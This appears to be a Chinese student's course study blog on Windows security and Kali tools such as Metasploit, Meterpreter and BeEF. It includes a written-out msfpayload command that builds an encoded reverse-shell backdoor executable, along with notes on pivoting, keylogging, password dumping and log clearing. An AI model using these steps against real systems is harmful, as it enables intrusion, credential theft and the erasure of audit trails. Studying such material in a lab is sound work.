教材学习内容总结
一、Windows操作系统框架
1、Windows操作系统的发展与现状
Windows在桌面操作系统中占有非常高的市场份额,Windows XP系统在国内仍有大量的用户
2、Windows操作系统基本结构
(1)Windows操作系统内核基本模块
Windows执行体:Windows内核核心文件ntoskrnl.exe的上层接口
Windows内核体:Windows内核核心文件ntoskrnl.exe中函数实现与硬件体系结构支持代码,实现底层的操作系统功能
设备驱动程序:包括将用户I/O操作映射为特定硬件设备I/O请求的硬件设备驱动程序程序,以及文件系统与网络设备驱动程序。
硬件抽象层:hal.dll文件,用于屏蔽Windows内核与平台硬件差异性的底层代码.
Windows窗口与图形界面接口内核实现代码:win.32k.sys文件
(2)Windows操作系统在用户态的代码模块
系统支持进程:Windows开机自动启动的系统内建服务进程
环境子系统服务进程:为操作系统运行环境提供支持的服务进程
服务进程:通过windows的服务管理机制所启动的一系列系统及网络服务
用户应用软件:在用户态执行的各类用户应用软件
核心子系统DLL:即kernel32.dll/user32.dll/gdi32.dll/avapi32.dll等动态连接库文件,作为用户态服务进程与应用软件和操作系统内核的交互接口,将用户态程序调用的系统API函数映射到相应的一个或多个Windows内部的系统服务调用。
(3)核心机制
Windows进程和线程管理机制
- Windows内存管理机制
- Windows文件管理机制
- Windows注册表管理机制
Windows的网络机制、
①网卡硬件设备驱动程序,位于OSI物理层
②NDIS库及miniport驱动程序,位于OSI链路层
③TDI传输层,网络协议驱动,位于OSI网络层与传输层
④网络API DLL 及TDI客户端,对应OSI会话层与表示层
⑥网络应用程序与服务进程,对应OSI应用层二、Windows操作系统的安全体系结构与机制
1、Windows安全体系结构
Windows操作系统基于引用监控器模型来实现基本的对象安全模型。系统中所有主体对客体的访问都通过引用监控器作为中介,由引用监控器根据安全访问控制策略来进行授权访问,所有访问记录也都由引用监控器生成审计日志。
Windows操作系统实现基础的安全机制,其中最核心的是位于内核的SRM安全引用监控器,以及位于用户态的LSASS安全服务,它们与Winlogon/Netlogon及Eventlog等服务一起,实现了对主体用户的身份认证机制,对所有资源对象的访问控制机制,以及对访问的安全审计机制。
2.Windows身份认证机制
Windows操作系统中以安全主体概念来包含所有进行系统资源访问请求的实体对象,有用户、用户组和计算机三大类,对于每个安全主体,以时间和空间上都全局唯一的SID安全标识符来进行标识。账户权限的根本作用就是限制这些账户内运行程序对系统资源对象的访问。
Windows系统中拥有一些内建账户,如拥有最高权限的本地Administrator账户,作为自动运行系统进程环境的SYSTEM/LocalSystem账户,具有相对极少权限的Guest匿名访问用户,以及IUSR_Machinename IIS服务的匿名网络访问账户等。而这些账户在黑客眼中,本地Administrator和SYSTEM账户拥有最高的权限,是他们攻击的终极目标。
Windows系统的内建用户组包括:本地最高权限用户组Administrators、具有单一方面系统权限的Account/Backup/Server/Print Operators等操作组、用于容纳服务账户的Network Service与Local Service用户组,以及所有用户账户所在的Users组等。 Windows用户账户的口令字经过加密处理之后被保存于SAM或者活动目录AD中,其中本地用户账户口令信息经过不可逆的128位随机密钥Hash加密后存储在SAM文件中,SAM存储于%systemroot%\system32\config\sam文件系统路径位置,并在注册表的HKEY_LOCAL MACHINE\SAM存有副本。
Windows域账户口令信息则保存在域控制器的活动目录AD中,加密方式与单机平台一致,存储文件系统位置是域控制器的%systemroot%\ntds\ntds.dit路径。
Windows支持本地身份认证和网络身份认证两种方式,分别对在本地系统登录和远程网络访问的主主体进行合法性验证。网络身份认证过程由LSASS服务的Netlogon模块主导完成。
Windows进程、GINA图形化登录窗口,与LSASS服务通过协作来完成本地身份认证过程。
3、Windows授权与访问控制机制
Windows授权与访问控制机制是基于引用监控器模型,由内核中的SRM模块与用户态的LSASS服务共同来实施。在Windows服务器操作系统中,用户可以执行内建的whoami命令来查看当前用户的访问令牌信息。Windows对于系统中所有需保护的资源都抽象成对象,具体类型包括文件、目录、注册表键值、内核对象、同步对象、私有对象、管道、内存、通信接口等,而对每个对象会关联一个SD安全描述符,有以下属性组成:
- Owner SID
- Group SID
- DACL 自主访问控制列表
- SACL 系统审计访问控制列表
图片897
4、Windows安全审计机制
系统审计策略在本地安全策略中由系统管理员定义,来确定系统对哪些事件进行记录。
5、Windows的其他安全机制
身份认证、授权与访问控制以及安全审计是三个基本安全功能。保护Windows系统安全稳定运行最为关键的三项安全措施——防火墙、补丁自动更新以及病毒防护。除安全中心之外,Windows的安全特性还包括IPSec加密与验证机制、EFS加密文件系统、Windows文件保护机制、捆绑的IE浏览器所提供的隐私保护与浏览安全保护机制等
三、Windows远程安全攻防技术
- 远程口令猜测与破解攻击
- 攻击Windows网络服务
- 攻击Windows客户端及用户
1、Windows系统的安全漏洞生命周期
系统安全的本质核心在于安全漏洞、渗透攻击及安全检测防御机制之间的攻防博弈与竞赛。
- Windows安全漏洞发现、利用与修补过程
- 安全漏洞公开披露信息库
- 针对特定目标的渗透测试攻击过程
①漏洞扫描测试
②查找针对发现漏洞的渗透代码
③实施渗透测试
使用Metasploit软件实施渗透测试:Metasploit软件采用开发框架和模块组建的可扩展模型,以Ruby语言编写的Metasploit Framework(MSF)库作为整个软件的基础核心,为渗透测试组建的开发与测试提供平台;模块组建是真正实施渗透攻击的代码,包括利用安全漏洞的Exploits模块,进行扫描、查点等其他辅助任务的Auxiliary模块,在目标系统上植入和运行的Shellcode攻击负载Payloads模块,对攻击负载进行编码以躲避检测的Encoders模块,以及对攻击负载进行填充的Nops模块;Metasploit提供多种用户接口,包括Console交互终端、命令行程序运行、Web交互界面以及GUI图形化界面;Metasploit还提供了API接口及插件支持,来支持第三方在MSF基础上开发扩展模块,比如自动化的渗透测试例程等等。
2、Windows远程口令猜测与破解攻击
- 远程口令字猜测
- 远程口令字交换通信窃听与破解
- 远程口令猜测与破解防范措施
3、Windows网络服务远程渗透攻击
Windows操作系统默认开放135(TCP),137(UDP),139(TCP)与445(TCP)端口,对应的网络服务为MSRPC与过程调用服务,NetBIOS网络基本输入输出系统服务和SMB文件与打印机共享服务。
- 针对NetBIOS网络服务的著名漏洞及攻击
- 针对SMB网络服务的著名漏洞及攻击
- 针对MSRPC网络服务的著名漏洞及攻击
- 针对Windows系统上微软网络服务的远程渗透攻击
- 针对Windows系统上第三方网络服务的远程渗透攻击
- 网络服务远程渗透攻击防范措施
四、Windows本地安全攻防技术
1、Windows本地特权提升
终极特权:Administrator或者Local System账户。从受限用户权限尝试获得特权账户的攻击技术也被称为特权提升。
2、Windows敏感信息窃取
- Windows系统口令字密文提取技术
- Windows系统口令字破解技术
- 用户敏感数据窃取
- 本地敏感信息窃取防范措施
3、Windows消踪灭迹
- 关闭审计功能
- 清理事件日志
- 针对消踪灭迹的防范措施
4、Windows远程控制与后门程序
- 命令行远程控制工具
- 图形化远程控制工具
- 针对后门程序防范措施
参考资料
http://blog.sina.com.cn/s/blog_acdeaa0901017irl.html
视频内容学习
26.KaliSecurity - 漏洞利用之检索与利用
漏洞检测和利用工具
1.searchsploitl漏洞检索工具,这个项目是由Offensive Security发起的、基于exploit database官方漏洞数据库源的漏洞搜索工具,可以直接在终端搜索漏洞相关信息,如漏洞简介和漏洞验证/利用脚本。列出所有文件
列出了所有漏洞和对应的文件地址
从目录中进入漏洞对应的相对地址
用到指令 : cat php/webapps/6.php
搜索windows上iis服务的远程漏洞:root@localhost:~# searchsploit windows iis remote
2.pattern creat
在缓冲区溢出时可以使用这个命令,例pattern create 1000 a就是可以输出1000个a
3.ikat
网络漏洞扫描工具,可以开一个端口和IP地址,一旦有漏洞的主机通过这个端口扫描它,就会中招,并植入一个shellcode。等待目标访问中招
4.Termineter 旨在评估智能电表的安全性,Python Smart Meter Testing Framework。
## 27. 漏洞利用之Metasploit基础总结 ##
Metasploit在渗透测试中经常可以用到,包含了很多工具,这些工具形成一个完整的攻击框架。
在Kali中使用metaaploie,需要先开启PostgreSQL数据库服务和metasploit服务,然后就可以完整的利用msf数据查询exploit和记录。
- service postgresql start
- service metasploit start
如果不想每次开机都手工启动服务,可以配置随系统启动。
- update-rc.d postgresql enable
- update-rc.d metasploit enable
二、路径介绍
Kali中msf的路径为/usr/share/metasploit-framework
- Auxiliary:辅助模块,
encoders:供msfencode编码工具使用,具体可以使用
msfencode –l
- exploits:攻击模块 每个介绍msf的文章都会提到那个ms08_067_netapi,它就在这个目录下。
- payloads:其中列出的是攻击载荷,也就是攻击成功后执行的代码。比如我们常设置的windows/meterpreter/reverse_tcp就在这个文件夹下。
post:后渗透阶段块,在获得meterpreter的shell之后可以使用攻击代码。比如常用的hashdump、arp_scanner就在这里。
3、基本命令
msfpayload:用来生成payload或者shellcode
搜索的时候可以用msfpayload -l |grep "windows"这样的命令查询。-o 选项可以列出payload所需的参数
msfencode:msf中的编码器,早期为了编码绕过AV,现在常用msfpayload与他编码避免exploit的坏字符串。
msfconsole:开启metasploit的concle最常用的命令。
4、测试示例:发现漏洞,搜索exploit
前期通过扫描的值目标21端口vsftp服务版本为2.3.4,使用msfconsole打开msf的命令行版本,通过search语句搜索是否有漏洞。
这个版本没有发现漏洞。
28、KaliSecurity - 漏洞利用之Meterpreter介绍
meterpreter 是metasploit框架中的一个扩展模块,作为溢出成功以后的攻击载荷使用,攻击载荷在溢出成功后给我们返回一个控制通道。使用它作为攻击载荷能够获得目标系统的一个meterpretershell.
meterpreter作为后渗透模块有多中类型,并且命令由核心命令和扩展库命令组成,极大地丰富了攻击方式,其有很多有用的功能,如,添加一个用户,隐藏一些东西,打开shell,得到用户密码,上传下载远程主机的文件,运行cmd.exe,捕获屏幕,得到远程控制权,捕获按键信息,清除应用程序,显示远程主机的系统信息,显示远程及其的网络接口和IP地址等信息。
常见的命令:
background:将当前会话放置后台
load/use:加载模块
interact:切换进一个信道
migrate:迁移进程
run:执行一个已有的模块,这里要说的是输入run后按两下tab,会列出所有的已有的脚本。
resource:执行一个已有的rc脚本常用的meterpreter类型为:payload/windows/meterpreter/reverse_tcp
攻击步骤:
1、生成Meterpreter后门 :命令:
msfpayload windows/meterpreter/reverse_tcp LHOST=192.168.129.200 LPORT=2333 R | msfencode -t exe -c 5 > /root/door1.exe
当前kali的IP地址为:192.168.129.200
2、打开MSF,开启监听,选择exploit/multi/handler
确保打开
3、在目标机器上执行door.exe
4、通过help命令查看可执行的命令
5、常见命令使用,包括系统信息,抓取屏幕截图与抓取HASH等。
6、目录浏览
7、键盘监听
8、扩展工具,load/use之后再输入help,就可以了看到有关这个模块的命令的说明了
9、扩展工具之Minikatz,抓取本地密码明文
29、KaliSecurity - 漏洞利用之Metasploit后渗透测试
在跳板获取一定权限后需要积极地向内网主机权限发展,获取指定的目标信息,探查系统漏洞,借助msf已经得到的Meterpreter后门,可以使系列的操作更容易。
1、查看当前网卡、网段信息。ifconfig
2、添加路由表
run autoroute -s 10.0.0.1
可以使用msf中的模块跨网段攻击或扫描。可通过脚本autoroute快速添加。
3、开socket代理,通过使用auxiliary/server/socks4a模块,创建一个socks代理,可以为浏览器,sqlmap,nmap使用。通过代理即可访问内网计算机。
4、通过background和session -i可以自由切换进入session。
5、输入run可以看到在meterpreter上可以做的很多命令。
6、通过run post/可以看到后渗透测试模块
7、获取内网信息 run arp_acanner -h
8、也可以上传文件,做端口转发后进行后续测试。
30.漏洞利用之BeeF总结
对XSS漏洞需要强大框架的支持,如网上的XSS平台。在Kali下,BeeF是一个不逊色于XSS平台的工具。Beef是浏览器攻击框架的简称,是一款专注于浏览器端的渗透测试工具。官网 http://beefproject.com/
1、命令行下启动 beef beef-xss 此时浏览器自动访问此页面:http://127.0.0.1:3000/ui/authentication 使用默认用户名beef与默认密码beef登录:
左侧为目标的浏览器
2、假设被测试主机由于XSS漏洞请求到 http://192.168.129.200:3000/demos/basic.html
出现拒绝访问的情况,之后就没有成功。。也是很无奈。
左侧online browsers出现新的选项,其Current Browser中包括浏览器名称、版本、操作系统版本等。
3、HOOK持续的时间为关闭测试页面为止,在此期间,相当于被控制了,可以发送攻击命令,在Commands模块,我们可以完成很多任务:
其中,四种颜色分别表示:
- 该攻击模块可用,但隐蔽性强
- 该攻击模块可用,但隐蔽性差
- 该用户模块是否可用还有待验证
- 该攻击模块不可用
选取MISC下Raw JavaScript模块作为测试用例
执行,查看返回结果,成功则显示
4、代理Proxy功能
选中目标主机,点右键,在菜单中选中Use as Proxy;然后在Rider选项卡中的Forge Request编辑并发送想要发送的内容。
学习进度条
博客量(新增/累计) | 学习时间(新增/累计) | 本周学习收获 | |
---|---|---|---|
目标 | 20 | 200小时 | 完成每周作业 |
第1~5周 | 6/6 | 65h/65h | kali的使用及攻防一些基本知识 |
第6周 | 1/7 | 16h/81h | 对传输层的安全结构有了深刻的了解,学习使用kali一些工具 |
第7周 | 1/8 | 14h/95h | 了解Windows操作系统攻防,学习使用metaspoitable |